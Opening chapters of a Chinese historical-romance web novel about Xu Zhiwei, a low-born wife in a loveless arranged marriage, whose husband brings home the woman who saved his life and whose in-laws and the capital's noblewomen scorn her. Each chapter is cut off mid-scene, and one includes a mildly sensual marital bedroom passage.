《春台雨色》 1. 第 1 章 《春台雨色》全本免费阅读 酷暑难耐的七月,身姿单薄的小娘子正埋首在堆积如山的账册中,许是屋内过于闷热,热得小娘子的鬓角都沁出一层细薄的汗,白面含粉。 再过几日就到了各大庄子掌柜来对账的日子,许知微近日来忙得算是脚不沾地,恨不得连吃饭睡觉的时间都省下来。 往年里她不会那么忙的,更不会接触到管家中馈,这还是她第一次被委以重任,更不能出现任何差错。 “夫人,就算铺子上的事在忙在急你也得要注意一下自己的身体才是。”丫鬟明月端着午饭一进来,就热得像是被扔进蒸炉里。 来到角落里放置的冰桶,掀开盖子一看,里面的冰块早已融化成水,屋里又不开窗通风透气,能不热吗。 明月愤懑不平地推开窗,“这里的下人怎么伺候的,屋里那么热都不知道进来加冰,夫人你也是,你就不嫌热吗。” “是我在理账的时候不喜别人进来。”许知微挽袖露出一截白皙纤细的手腕,面容恬静秀美。 府里的存冰有限,冰又一向是紧着爷们哥儿姐儿们用,以至于能分到她手里的少之又少。 “夫人,姑爷今日就回来了,你不打算亲自下厨吗。”明月突如其来的一句,也让许知微拿着毛笔的手腕一顿,一大团墨迹落下,污了一张澄心堂纸。 提到那前去治理忻州水患,现离家已有三月之久的枕边人即将归来,许知微向来清冷的面容也不禁浮现出一丝笑意。 她同池宴青梅竹马,两家又相邻,幼时她最爱做的事就是黏着比她大了四岁的邻家哥哥。 只是后面随着池爷爷升官后,他们两家的关系也渐渐不在往来,所以得知他上门来求娶自己时,开心得不行,认为月老终于听到了她的请求。 即便她知道池宴是迫于父辈定下的娃娃亲才娶的自己,实际上并不喜欢自己,二人的家世更不对等。 一个是名声在外的丞相之子,前途无量的御史大夫,一个落魄六品官的女儿,任谁见了都得要说一句他们许家高攀,哪怕如此,许知微仍一口应下。 因为她相信只要相处久了,池宴肯定会发现她的好,然后喜欢上她的,一如她偷偷喜欢了池宴很多年。 “他今日归京后定然得先进宫述职,就算圣人不留饭,他也得要去恩师那里一趟,你说等他回来的时候,腹内可还会留有空地。”就是因为了解,许知微才不着急,唯独垂下的长睫缀满落寞。 之前的她并非没有满怀欢喜的准备过,知他爱吃橙酿蟹,梅花豆腐,五宝鲜蔬还有松鼠桂鱼,七月份又正值鲜嫩的嫩藕,鲜甜的蛤蜊,清甜的丝瓜山药一一上市,她一大早就遣了丫鬟去买好食材,亲自下厨。 可是那日她从天亮等到天暗,才等来他一句,“抱歉,我已经吃过了。” 以至于他后面每一次外出不回府吃饭时,都会提前派小厮回来告诉她一声。 你看,即使他说过并不爱她,也能在很多小事上给予她正妻的尊重,这样的一个人,又如何能让她不爱,不喜,不恋。 这时,另一个丫鬟棠梨着急得小跑进来,人还没到声音倒是先传了进来。 “夫人,姑爷回来了!” 许知微嘴上笑意一扬,又在棠梨下一句话中消失殆尽。 “不过姑爷不是一个人回来的,姑爷还带回来了一个姑娘。” 棠梨自知说错话了,忙窘迫地红着脸找补,“不是不是,是姑爷身边的长随带了一个姑娘回来,不是姑爷带回来的,不对,是姑爷让长随带回来的姑娘。” 眼瞧她越说越混乱的许知微深吸一口气,松开捏紧的笔杆,“去看看吧。” 无论那个姑娘是夫君带回来的,还是夫君让人带回来的,来者都是客,她理所当然得要去见上一面。 本来应该是由客人来拜见主人的,她却不在意那么多,也当在房里闷了许久后出去透下气。 也想要,早一点儿见到他。 夏日炎热,满池荷塘倒是开得绿萝青裳随风舞,芙蓉笑脸竞相迎。 穿过半疏半茂的藤花长廊的许知微来到客房外,远远地看见夫君身旁的长随宋眠正守在外边,连带着她心口一紧。 要知道宋眠平日里鲜少离身伺候,也不知道那人有多重要,值得夫君如此看重。 宋眠瞧见她,忙走过来,恭敬地喊了声夫人,又说,“林姑娘舟车劳顿许久,现如今已睡下了,待她醒来后我在让她前去拜见夫人。” 压下心底密密麻麻涩意的许知微捏了捏掌心,又状若无意地问起,“那位林姑娘是?” “林姑娘在忻州时救过爷一回,爷得知林姑娘此番是为进京寻亲,怜她一个姑娘家无依无靠便带上了她,也为偿还救命之恩。” 原是这样,来时许知微那颗高高挂起的心终是放了回去,又在听见他受伤时呼吸一窒,语气也变得急迫,“夫君他伤得可重。” 他既受了伤,为何不在信中言明一二。 宋眠瞅她,小心地回:“大人没说,应该是怕夫人担心。” “不过大人伤得并不重,也都是些皮外伤。” 回到落梅院后的许知微也没了继续对账的心,特别是一想到宋眠说他今晚上会回来吃饭,便坐不住的来到小厨房准备几道他爱吃的菜。 只是刚折好青菜,又将手停了下来。 懊恼的忘了他回来后,定是要去正厅吃的,成婚三年,自己和他单独用餐的次数更是少得一个巴掌能数清楚。 给她体面是真的,不爱她也是真的。 推门进来的明月见她还站着发呆,急得把人推进房里,“我的好夫人呀,你明知道姑爷今天带了一个姑娘回来,你怎么不打扮打扮,好压下那个姑娘的气焰。” “你要知道按照话本里的剧情,一般男人外出后带回来一个女人,那个女人十之八九就是破坏感情的狐狸精,要么就是养在外面的娘子。” 被人摁着坐在梳妆台前的许知微抬眸凝望着铜镜里的人。 铜镜里的美人脸色略显苍白,唇色却像抿了胭脂般的艳丽,一头乌黑长发迤逦落下,衬得那张脸儿越发小而白。 许知微抚摸上自己的脸,浅浅一笑,“我在打扮不也这样吗,你也说了那位姑娘只是夫君带回来的朋友,若日后夫君每带回来一个姑娘,我都要如临大敌吗。” 她能说出这番话,自然是因为她信池宴,信他的人品,也信他的说到做到。 明月却是否认,“谁说的,夫人平日里不打扮都漂亮,要是打扮一下肯定能让姑爷惊艳得移不开眼。” 更恨铁不成钢,“这可是姑爷第一次带姑娘回来,夫人你可得要长点心了。” 虽说姑爷和夫人感情 2. 第 2 章 《春台雨色》全本免费阅读 “那么晚了你怎么还没睡。”池宴见到她那么晚还站在院中,清冷的眉眼间泛起一丝不虞。 似在埋怨,又似不喜她的行为。 手指头紧张的搓着的许知微垂下头,露出一截白皙如玉的脖子,克制着快要跃腔而出的欢喜,咬着唇问,“夫君可食过。” 池宴不知想到什么,避开她的目光,抿了抿唇,“抱歉。” 是他答应了今晚上回来吃饭,又中途失约,理应道歉。 “夫君和我之间不必如此生疏。”许知微早就清楚他不爱她,也知道他是为履行父辈承诺才娶的她,更清楚就连这一场并不平等的姻缘都是她强求而来的。 虽清楚,也仍是心存了一丝奢望,才会为他的一声声歉意而失落。 进了屋内的池宴解开外裳挂在木施上,对上她茫然地眸光,说,“今天是双号。” 随后进来的许知微想起来了,脸颊迅速烧红起来,娇艳得似打翻了一盒胭脂扣洒在白绸面上。 双号是二人同房的日子。 成亲那日,他对自己说过他的需求会比较频繁,那时的她懵懵懂懂尚不知其意,只因为能和喜欢的人共许白头约而满心窃喜,像揣了满怀的小兔子欲跳出来。 之后每月的双号便是两人同房的日子,只是………… 当池宴分开她腿的那一刻,许知微竟开始了走神。 因为她从来没有能从一个人身上看到古板和能干,克制三种特质完美融合在一起。 说他能干,因为每一次都能弄得她死去活来。 古板是成婚三年多了,在床上也才只会用一个姿势。 克制是每次他就算在想要,也不会超过两次。 许知微清楚夫君不喜欢自己发出声音,可即便她咬着唇也压不住每次都要溢到嘴边的猫吟声。 她以为自己能忍着不发出声音的,但随着他力气的加深,她也像极了在大海中随波逐流的一叶小舟,寻不到靠岸的方向,只能用指甲抓住他看似清瘦,实际并不文弱的后背才不至于淹没于汪洋大海中。 好不容易等他终于停下鞭挞后,已是娇花不堪折的许知微趴在他胸口,在感受到他准备卷土重来时,咬着朱唇,忍着巨大的羞赧和他清冷幽暗的眸子对上,“夫君,你带回来的那位姑娘是。” 即使在宋眠口中听到了答案,她仍是想要从他嘴里在听一遍。 就当,是为了让自己求个心安,因为她信不过别人,唯信他。 玉冠拢下,墨发垂落两侧,淡化去了白日间疏离冷漠感的男人眸光幽深,偏低沉的声音暗哑又撩人,“林姑娘在忻州时曾救过我,我为报答她的恩情,便好心带她一程。” “所以夫君为了报恩才会带上她的。”一瞬间,许知微那颗从知道夫君带回来一个姑娘而局促得惶恐不安的心终是落回了实地,随后又从根处弥漫出密密麻麻的甜。 有月光从半拢的湖水蓝帷纱里洒进来,也让许知微看见了男人高挺的鼻梁,紧抿的薄唇,以及从鬓角处滚落而下的汗珠。 她一直知道夫君生得极好看,本该是多情的狭长瑞凤眼,偏生在他的脸上只剩下清冷的疏离。 许知微又想到宋眠说的遇刺一事,忍不住又问,“你的伤………” 这一次还没等她把话说出来,一个并不算是温柔的吻落了下来,也堵住了她的喋喋不休。 他很少吻她,即使是在两人抵死相缠的那一刻,少有的几次也是因她从唇缝里关不住的支离破碎。 月光被乌云遮住,也遮住了粉融香暖湿玉山。 许知微醒来时,床边已然空了,若非身上还有些不适,恐都以为昨夜只是一场梦。 候在屋外的明月听到响动,在门后轻唤一声,“夫人,你醒了吗?” 得到回应,端着温水的明月才打帘进来伺候她梳洗。 “姑爷呢?”接过水后的许知微习惯性的问起枕边人,即使他从不在自己屋里过夜。 “姑爷今日一早就去户部了。”明月揶揄的调侃道,“姑爷出门前还嘱咐了我们不要打扰夫人,还说了让夫人今日不必在去请安。” “要奴婢说,虽然姑爷看起来冷冷清清得似不近人情了些,但对夫人是真心实意的好。”特别是小别胜新婚,昨晚上的动静连她一个未许人的丫鬟听见了都觉耳热。 许知微想到昨晚上的缠绵,他附在耳边低低地喘息声,一张瓷白小脸瞬间染上胭脂云绯。 其实他心里也有些喜欢她的吧,否则昨晚上也不会和她解释那位姑娘的来历。 他虽说了让自己今日不必去请安,但她仍是要去的。 池家人口不多,池宴是家中长子,现任从三品大理寺卿,底下还有一个胞弟和一个胞妹,以及几位庶出弟妹。 胞弟池渊现在户部领了个闲职,每日找鸡逗狗不亦乐乎。 小妹池柔芙早年同伯侯家定了亲,只待来年开春后出嫁。 等她来到松福院,还没走近就听到了从里面传出来的欢声笑语,原本要迈进去的脚忽然停了下来,也从大开的门里瞧见了一个正背对着她的粉裙姑娘。 对比于昨日来府上做客的姑娘,她对于池家来说,貌似才更像是一个外人。 最先注意到她的池柔芙敛下笑容,不咸不淡地说,“嫂子来了。” “嗯,我来给母亲请安。”敛下心绪恍惚的许知微对上小姑子的厌恶仍是温温柔柔的笑着。 也让池柔芙一拳打在了棉花上一样憋屈,也对她更看不上眼。 正坐在池夫人旁的姑娘起身盈盈一笑,“许姑娘你好,我叫林淼思。” 随着林淼思的转身,许知微也瞧清了她的模样。 算不上顶级的美貌,可那鲜活的眉眼,娇俏的神态已足够迷人。 那是一种完全和上京城贵女们循规蹈矩的不同的美,特别是那一双杏眼狡黠灵动,总令人忍不住想要多看几眼。 许知微听她喊自己“许姑娘”而非“少夫人”“嫂子”时,而羞耻地捏紧了手指。 她不知道这位林姑娘究竟是有心还是无意,但,就算她配不上池宴,也不需要她一个外人如此直白的嘲讽起他们的不相配。 “大嫂,你没看见林姐姐和你说话吗,果真是小门小户出来的,连半点儿礼数都不懂。”端起汝窑荷花烫金茶盏的池柔芙翻了个白眼,毫不掩饰自己对这位大嫂的不喜。 大哥年纪轻轻就位居四品京官,日后还会官拜首辅,即使是公主下嫁都堪配,偏生娶了许知微这么个落魄六品官的女儿。 当初祖父仙去时说出池家曾同许家定有一门亲事,他们就打算让一个庶出的配六品小官之女都算许家高攀了,谁知道许家竟是个胃口大的白眼狼,盯上谁不好,偏生盯上了她大哥! 大哥也是愚孝,居然真娶了那爱慕虚荣的许知微,害得她那段时间连出门都遭嘲笑有那么个出身低微的嫂子。 池夫人虽不像其她婆婆会立规矩磋磨人,但也不曾将她当成池家人看待,冷漠得排外,而许知微就是外。 “行了,没什么事就下去吧,马上就要到各大铺子对账的日子了,与其有空在外面闲晃不如早点去对账。”池夫人冷漠的乜上她一眼,虽没有池柔芙表现得那么明显,也是直接把不喜摆了出来。 许知微想要说的话也跟着囫囵吞枣的往回咽,俯身行礼,“儿媳告退。” 随着她一走,松福院里因她到来而消失的笑声再度响起,就连院边 3. 第 3 章 《春台雨色》全本免费阅读 许知微正摊开账本,棠梨带笑的声音随着薄薄的一层门扉穿透了进来。 “夫人,许府给你来了信。” 已经许久没有收到家中来信的许知微听到家中来信,杏仁眼微弯漾出层层笑意。 不久前母亲来信说大哥要下场今年的乡试,想来是大哥中了,特意写信来给自己报喜。 打开用蜡印封口的纸封,只是匆匆一览,许知微脸上的笑容瞬间凝固,红润的脸颊被惨白一寸寸吞噬。 信是三天前寄出的,说明到她手上已经耽误了整整三日,想到信上内容的许知微手脚发软得不在敢耽误的把信折叠后就匆匆跑去找池宴。 因为她能想到帮自己的人,只有池宴,也只有池宴。 等她来到清竹园,才想起来他今日得入宫述职,可是大哥的事情又等不及了。 许知微只能病急乱投医地问道,“你可知道爷什么时候回来吗?” “这个,奴才不知道。”青书笑得憨厚地挠了挠头,“夫人不如进书房里等吧,想来爷很快就会回来了。” “爷昨日已经进宫述职过了,陛下特意给爷放了三日假期,今日爷出门也只是到衙门点个卯就回来。” 许知微听他那么一说,心也变得不那么急了,唯有目光时不时往外张望。 只是这所谓的很快,竟让她一等,等到了暮色沉沉,倦鸟归林的傍晚。 就在许知微以为他今晚上不会回来时,她听到了从院里传来的说话声,对方不知说了什么逗趣的话,惹得夫君轻笑了一声。 即使她没有看见,也能猜到此时夫君的嘴角正淡淡地往上勾着。 月光穿过十字海棠窗棂,斑驳的落在许知微的身上时,她忽然觉得冷,全身都冷得厉害,更多的是羡慕,以及淡淡地嫉妒。 夫君向来少言,以至于每一次和他说话时,她都会自动把要说的话提炼简洁,生怕自己话多了会惹他厌烦。 只是夫君今日无需上值,又为何会同林姑娘一道回来,他们是,今天一整日都待在一起吗? 这个假设一出,许知微的鼻腔蓦然发酸,喉咙像被一块抹布给堵得难受。 青书见爷回来了,忙将今日的事竹筒倒豆子般说出来,临了又说,“夫人在书房里等了爷一天,奴才觉得夫人应是有事。” 池宴听到她在书房等了他一天后,眉头一皱,脚步加快的推开书房门。 屋内漆黑一片,只隐约看见个人形站在一旁,语带责怪,“为何不点灯。” 又说,“若是有急事寻我,可直接派小厮来寻” 随着蜡烛点亮的瞬间,林淼思娇娇甜甜地声音随之响起,“嫂子,你怎么在这里呀,是来找池大哥的吗。” 骤然遇到光亮,刺得眼睛生疼的许知微下意识伸手遮光。 她的手刚抬起,一道高大的身影挡在了她面前,也遮住了让她略显不适的光线。 男人身上熏的香随之萦绕于她鼻尖。 他身上所用的香并非是清冷静谧的雪松香,也非壁立孤峰倚长砚,共凝沉水得顽苍的沉香,而是清冽中带着一丝微苦,如雨后竹林的气息,清冷又深沉。 此时的许知微完全忘了要说的话,心湖亦为这个挡住刺眼光线的男人而翻滚。 林淼思的声音则继续传来,“我刚才同池大哥说了一件趣事,我想嫂子应该也会感兴趣,一个弟弟仗着自己的亲姐姐嫁入高门后就打着姐夫的名号在外胡作非为,还因为一个花魁同人大打出手,结果没有想到被他失手打死的那个人会是个世子,那弟弟就害怕得立马写信向姐姐姐夫求救,要我说,那姐姐也是个蠢的。” “自己的弟弟难道自己不知道是个什么德行吗,那女人得了来信后当即死皮赖脸的求自己男人帮忙,男人虽是高官但也不是那种徇私枉法的官,对于小舅子犯错也是怒其不争,女人认为男人不帮自己,开始在家中大哭大闹,还蠢得用和离来威胁男人,就为了救下那个吃喝嫖赌的弟弟。”林淼思说到这里,忽然顿住话头,勾起嘴角,笑盈盈地问,“嫂子可知道那蠢女人后面的下场吗。” 心尖骤然发颤的许知微对上少女饱含揶揄笑意的一双眼睛,她好像是通过这个故事在点她?又担心自己是不是想多了,随后轻咬下唇,“我不知道。” “那蠢女人最后的下场当然是被休弃回家啦,谁家高门主母会娶一个拎不清还倒贴娘家的外人,何况那女人本身就是德不配位的高嫁。”林淼思目光直勾勾的落在许知微身上,忽而嗤笑一声。 “嫂子是不是也觉得这个故事很有趣,要我说那也是对方活该,那女人本就是走了狗屎运高嫁,既然嫁了人就应该和娘家断了根,一心一意伺候起公婆男人才对,怎么还胳膊往外拽。” 在她眼睛逐渐适应光亮后,池宴才开口问道,“夫人来找我,可是有事” 掌心沁出一层薄汗的许知微恍惚间听到自己问他,“夫君如何评价那位女子。” “愚不可及。” 一句愚不可及直接让许知微想要求情的话都堵在了喉咙里,她发现如今的自己和林淼思话里的那个女人没有任何区别。 不,她或许还不及那个女人,因为她很确定,她的夫君并不爱她。 “嫂子,你找池大哥是有什么事啊,不妨让我也听听。” “没,没什么。”这一刻的许知微竟是不敢在开口,更不敢抬头。 可是她除了池宴,不知道还能找谁帮忙。 她高嫁入池家,所有人都认为她定然风光无限,可是内里的苦只有她自己咽下去,甚至都找不到她人倾诉,否则就会被人认为她在无病呻吟,身在福中不知福。 “很晚了,我先回去了,夫君也早点休息。”这一声落下,竟带着落荒而逃的狼狈。 可是等回到落梅院后,许知微就后悔了,因为她知道大哥并非是林淼思话里的那个弟弟,她也并非是那个姐姐。 她准备往回折返的,又胆怯地缩回了脚。 她前面才说了没事,现在又去求他,他会不会认为自己是个反复无常的人。 要不,明日在去找他吧? 可是大哥的事情已经拖了好些天,要是在不处理。 就在许知微咬着唇,站在原地犹豫不决时,那想着要不要去打扰的人正踏着满地的细碎月光从长廊的另一边走来。 长得好看的人,似乎连月色都对他格外温柔。 随着他的出现,大脑变得一片空白的许知微看着今晚上本不该出现的男人,愣怔得一时忘了反应,更忘了自己想说的 4. 第 4 章 《春台雨色》全本免费阅读 池晏看了她一眼她的穿着,不由蹙了下眉头,随后收回视线,说道:“上车吧。” 对上他眼中淡淡不悦的许知薇忽然心生坎坷且不安的问,“夫君,可是我穿的衣服不合适?” 她来到洛阳后就很少出去,每逢府上来客或是外出参加宴会时婆婆都不会带上她,平日里她连说话的人都没有,更不知道今日要去参加的寿筵的主人有何忌讳,越是不知,她越是惶恐的心生不安。 这是夫君第一次主动带她参加宴席,也是她第一次出现在洛阳的宴席上,她不想因为自己的无知给他丢脸,更不愿别人说他娶了自己那么一个上得台面又穷酸的女人。 “没什么。”池晏抿了抿唇,转身往马车里走去。 他不悦的视线却令许知微紧张得连掌心都被指甲扣破,深吸一口气不让自己太过慌乱后,才垂下头,小声地问,“夫君,我可要去换一套衣服?” “不必。”池晏又加了句,“时间要来不及了。” 林淼思笑着搂住她手臂,“我觉得嫂子今日穿的这身衣服很好看,要不是池大哥说我穿粉色好看,我也得要学嫂子这样穿,到时候看池大哥还敢说我整日里没有半点淑女气质。” “走吧。”长睫垂下的许知微不动声色的抽回被她抱住的手臂,即使知道她是无心的,她的心里仍是浮现出一丝不适。 许知微上了马车后,便垂着头一直思索着他那个眼神是什么意思,又审视起她今天的衣服和发型有哪里不当,或是犯了何忌讳。 丁香色折花长裙的裙摆上绣着几朵用蓝色为底,银线为主勾勒出的夕颜花,是不是因为夕颜花早开晚收,且花期较短,所以穿它去参加寿筵属于冒犯主人了。 还是她戴的簪子过于简单和朴素,给他丢脸了,亦或是往日从不打扮的她,今日却在脸上覆了层珍珠粉,抿了胭脂纸让他觉得打扮过于艳俗,认为她是那种举止媚俗的女子。 前面许知微还认为满意的穿着,此刻却让她恨不得立刻叫马车停下,把这一身全部换下。 “池大哥,你说嫂子穿粉色会不会很好看啊,因为我觉得嫂子今日的穿着美是美,就是素得有些过于寡淡了。” “她穿粉色不合适。” 清冷得像有人拿着竹竿敲打着冬日檐下冰棱断裂的声音骤然在耳边炸起,也让许知微跟着抬起了头,正好对上男人扫过来的一双眼睛。 他的眼睛生得极为好看,眼尾细长,细而不窄,瞳孔如浸了水的琉璃珠子,清冷而疏离。 此时那双眼睛正望向她,罕见地像是浸染了一丝温情,也让她的心口不自然漏下一拍,随后又因为他的一句话而蔓延出淡淡地苦涩。 是啊,她已经不是十六十七岁的小姑娘了,哪里适合穿什么粉色。 粉色娇嫩,而她年二十有二。 偶有清风刮来,卷起一角蜀帘的车厢里正残酷的分成两个界限。 坐在角落里的许知微本以为只是二人同乘,也因为能在白日里和他多说上几句话,而激动得连夜翻了他看过的书,琢磨着他的喜好,就想着找上话题能和他多说上几句话。 即使说不上几句话,就那么和他单独待在一个车厢里,对她而言也是偷来的幸福,像得了一大块饴糖又舍不得含进嘴里的小孩。 可是她以为的二人同乘,如今却多生一人,成了三人同行。 而这多出的一人,显然是她。 许知微借着风卷起蜀帘的弧度,伸手将其撩起,假借着看窗外风景,实际上正偷偷地看向他。 他今日穿着件银白色直襟,苍青色外衫,很是普通的一件衣服,却被他穿出了芝兰玉树,霞姿月韵。 而这样的一个可望不可即的男人,何其有幸是她的夫君。 正同池宴说着趣事的林淼思突然停下,而后略显慌张无措的看向许知微,像一只受到了惊吓的兔子,眼眶微红,“嫂子,你一直不说话,是因为我和池大哥没有提前告诉你,我今天也会跟你们去参加寿宴,所以你生气了吗。” 许知微放在膝盖上的一只手的手指骤然收紧,随后轻轻摇头,“我只是喜静罢了。” 她应该生气吗? 她是应该生气的,不但要生气还要大声质问,可是她生气后,大声质问后换来的是什么? 他轻飘飘的一句解释,林姑娘委屈的对不起,二人渐行渐远的疏离? 不,这都不是她想要的。 闻言,林淼思拍着胸口松了一口气,“那就好,我还担心嫂子要是生气了该怎么办,因为我性格大大咧咧又直来直去,还真的不懂得怎么安慰人。” “池大哥,我觉得嫂子人挺好的,哪里像你之前说的不好相处,我看啊,分明是你怕我抢走嫂子才故意那么说的,你这可就不够义气了嗷。”她说这句话时是娇憨的,天真的,令人感觉不出一丝恶意。 可落在许知微耳边却显得刺耳异常,也像某种得意的挑衅。 她,不好相处? 这一刻,许知微下意识地扭头看向坐在窗边,过滤了窗纱的绵绵薄阳给其镀上一层朦胧金边的男人,心口忽然堵得难受。 原来,他是这样想她的吗? 但她潜意识里,又认为池晏不会是那种人。 本在低头翻阅书籍的池宴抬头对上她的视线,皱起眉头否认,“我从未说过这些话。” “那看来是我记错了,不好意思啊池大哥,是我冤枉了你。”林淼思俏皮地吐了吐舌,又托着下巴笑吟吟道,“也怪我记性不好,嫂子你别生气啊,我这个人性子大大咧咧习惯了,一时之间都忘了嫂子是洛阳贵女,和我这种出身乡野的野丫头不一样。” 许知微扯了扯唇,“不会,毕竟林姑娘性格率真。” 池宴打开暗格,从里取出一个雕着漆花的食盒递过去,见她没有伸手要接的意思,解释道,“等下要晚点才会开席,先吃点糕点叠下肚子。” 林淼思看着没有自己一份的糕点,顿时撅着嘴生气,“池大哥你好过分,就想着嫂子忘记吃早饭了,怎么没有考虑到我也没有吃,反正我不管,我也要吃。” 许知微目光落在递来的食盒上,心神微动带着诧异,“夫君怎知我没有吃早饭。” 话刚出口,许知微便后悔了,夫君应该不是知道 5. 第 5 章 《春台雨色》全本免费阅读 往前走了两步的林淼思突然回头看了她一眼,随后低头不知嘟哝了两句什么。 许知微虽听不清她在说什么,却能从她的眼神中看出对她的不屑,鄙夷。 女客的位置安排在东院,男客是西院,中间仅隔着一塘碧波荷花池,往来送荷香。 今日虽是庆祝尚书过寿,也是一个公开的相亲会,好让已定亲的借机相看未来的另一半。 挽着妇人髻的许知微自然不能和未出阁的姑娘们聚在一起,可为人妇也分生养了,没生养的两拨。 她许知微又恰是成婚三年仍无所出的妇人,且她出身低微,又为婆家所不喜,但 她嫁的人却是现任从三品大理寺卿的池家大公子,即使她们在不喜她,心里对她多有鄙夷,也不会将面子弄得过僵,亦不会和她深交。 “林姐姐,这里!”今日没有和她们同乘马车而来的池柔芙正远远地向林淼思招手,又瞧见跟在后面的许知微,脸色一沉,全然不耐烦道,“你怎么也偷偷跟来了。” 在人多的场合里,池柔芙从来不会喊许知微嫂子,本来大哥娶了那么个出身低微又一无是处的女人就够她讨厌了,她又怎么会在大庭广众之下喊她嫂子,真心嫌丢人还不够吗。 许知微像是没瞧见她眼底的嫌恶晦气,依旧带着温婉的笑意,“我同你大哥一起来的。” 这是他们成婚三年后第一次出现在人多的场合,以至于许知微说出那句一起来的时候连背都挺直了两分。 听到她是和大哥一起来的池柔芙脸上的笑容有过片刻凝固,而后又狠狠地瞪了她一眼,“啧,穿得那么寒酸,不知道的还以为我们池家亏待了你,也不知道大哥怎么想的,会带你出来丢人现眼。” 许知微苦涩的想,她为什么会没有衣服,眼前的这位小姑子不应该在清楚不过吗? 每个季度送到她院里的布料都还没等她见过款式花纹,就被她用各种理由拿了过去,这三年来,硬是连一根线都没有给她留下。 林淼思不赞同地说,“我认为嫂子今天穿得很好看啊,我见刚才带路的那些人穿的也和嫂子一样,哪里不好看啦。” 池柔芙上下打量了许知微一眼,忽然想到了什么,捂住肚子噗呲一声笑出来,“林姐姐说得对,有些人还算是有自知之明。” “不过我大哥也真是的,为什么要想不开带她出门,就不怕她满身的穷酸味冲撞到了贵人该怎么办。” 对于小姑子嘲讽的许知微也仅是垂下了长睫,抿着唇不做声,这场身份不平等的婚约,确实是她从一开始就强求而来的。 “林姐姐,我带你到前面去玩,正好把我朋友介绍给你。”池柔芙拉过林淼思的手往前走了两步,忽然想到了什么,下巴一抬,“你还不快点跟上,还想要让我请你不成。” 这下子不只是许知微诧异,连林淼思都微微瞪大了嘴巴,而后凑到池柔芙耳边,问,“和我们玩的都是未出阁的女郎,带嫂子去不合适吧,我不是说年龄啊。” 池柔芙娇笑地乜了许知微一眼,难得大度,“她第一次来参加这种宴会,我怎么也得要带她去见见世面,免得有人对外说我们池家待她不好,苛待人。” 许知微的心头忽然浮现一抹不好的预感,即使知道不好,对方也没有给她拒绝的机会。 绿浓成荫,蔷薇爬满篱笆架下,一群红粉罗纱的娇俏少女们正围着潺潺碧流波的水榭前玩曲水流觞,清甜娇憨的笑声如百灵鸟绕风生悦。 许知微知洛阳人好风雅,不代表她接触过此等风雅。 不巧的是,她刚被拉着进来,一朵艳丽的牡丹花便顺着水飘到了她面前,周围人顿时挤眉弄眼的哄笑一团。 若不是算计,许知微都不信这花为何会如此凑巧的来到她面前。 穿着鹅黄色襦裙的少女指着她面前的牡丹花,戏谑道:“虽说我们不喜欢跟年纪大的人玩,但是既然你来了,这花还正好停留到你面前,按照规矩,你得要赋诗一首才行。” “上一首诗的最后两字为‘兰亭’你就以‘兰亭’为首,做一首诗就行。” 许知微这时也瞧清了说话之人的脸,发现自己并不认识她,想来她针对自己也应该是和洛阳的所有贵女一样,认为她配不上池宴。 一个是高不可攀的泠泠高山月,一个是低贱的六品小官之女。 若非月亮被孝道所绑,又岂会被淤泥脏了脚。 池柔芙伸手从她身后往前一推,“花停留到谁面前,谁按照规则就要接前面那一人做的诗,如今花到了你手里,你要是不玩,该不会是你玩不起吧。” “抱歉,我于做诗一道并不擅长。”许知微略显尴尬的捏着手中的牡丹花枝,说来惭愧,她从小到大各项才艺皆平平无奇,唯在算术上略有所长。 “没关系的,我做诗也不擅长,嫂子你要是不露一手,我们怎么知道你是不是在谦虚。”挤到她旁边的林淼思指尖卷起垂下的一缕发丝,很是诚恳地说。 “嫂子你该不会是认为我们做的诗平平无奇,不想欺负我们才那么说的吧,我可是知道池大哥五岁裁诗走马成,七岁与大儒辩论,所以嫂子你肯定也很厉害,要不然池大哥怎么会娶你。” “噗”人群中不知道是谁实在憋不出笑出了声,且这笑声像是会传染一样。 “她能有什么才华啊,整个洛阳有谁不知道她是用了什么手段逼嫁的,要我说池大人实在是太善良了,要是我,才不会给这种臭泥缠上身的机会,早就一脚踢得远远地去才行。” “成婚三年都无所出,怕是池大人根本不愿意让这种粗鄙之人生下他的孩子。” “什么样的父母生出什么样的子女,瞧她一脸心机的爱慕虚荣,想必家教也糟糕得一塌糊涂。” 此时的许知微觉得自己就像是被扒光了衣服后扔在大街上来得羞愤欲懑,她们嘲笑自己是自不量力的癞/□□/想吃天鹅肉可以,为什么还要侮辱自己的父母, 许知微目光落在嘲讽那位绿罗衣色的姑娘身上,嗓音微扬,“我貌似并不认识这位姑娘,不知道这位姑娘为何对我恶意那么大,如果你对我有何不满的地方大可直接说出来,何必借此羞辱我的父母。” “哼,就你,你自己做了什么事难道还要我们说出来吗,真是够厚脸皮的。”嘲讽得最凶的杨红玉直接翻了个白眼,她也是整个洛阳贵女里最讨厌许知微的一个人。 要不是她拿着当初池爷爷给的玉佩上门逼迫池大人娶她,现在池大人的妻子应该是她杨红玉才对! 就算不是她杨红玉,怎么也不应该是这种穷酸的小官之女玷污了高洁无双的池公子。 掐着掌心的许知微深吸一口气,再次出声,“我知道我出身低微,比不上在众的诸位小姐金尊玉贵,但我在如何,如今也是从三品大理寺卿的夫人,不知道你们当众羞辱大理寺卿的夫人一事,你们家中人可知道,还是你们家中长辈赋予你们肆意羞辱我的权力,如此,我倒是要让我夫君亲自去问一下你们家中长辈,对我夫君究竟有何不满,才会指使家中子女公开嘲讽他的妻子。” 许知微的声音并不大,但咬字清晰,足矣能够在场的人都听了 6. 第 6 章 《春台雨色》全本免费阅读 “不会,因为我知道夫君是个什么样的人。”许知微像是看不见她眼底的得意,依旧笑得温婉。 “林姑娘之前救过我夫君一回,于情于理也算是我半个恩人,就算夫君不说,我也会让他帮忙多照顾林姑娘一下,毕竟林姑娘年龄小,我看见了就像瞧见了家中小妹无二。” 许知微清楚有很多人都认为她配不上池宴,即便如此,她仍成了池宴的妻,这对她而言便足够了。 很快,女客这边林淼思所做的那首诗传到了男客那边。 安伯侯世子正拿着手抄的诗凑到池宴面前,笑得挤眉弄眼,“池兄,你觉得这首诗做得如何。” 池宴指腹摩挲着莹润的酒樽边缘,缓缓出声道:“尚可。” 他的回答倒是让安伯侯世子挑了挑眉,笑得越发促狭暧昧,“能在你那么个大文豪嘴里听到‘尚可’两个字可真是不容易,我还听说这首诗是你带回来的那位林姑娘所做,我又知道你向来喜好才女,池兄,你这可就有些不厚道了。” 另一个人也笑着附和,“如果我是池兄,我遇到那么个有才华又有美貌的女子,定然也得要金屋藏娇。” 骨指骤然用力捏得杯盏破裂的池宴目光凌厉泛着寒意扫过去,“姑娘家的名节岂是你们能拿来随意开玩笑的,不说我已娶妻,即便我没有娶妻,也断然不允许这种肆意将我和另一个姑娘捆绑之言。” 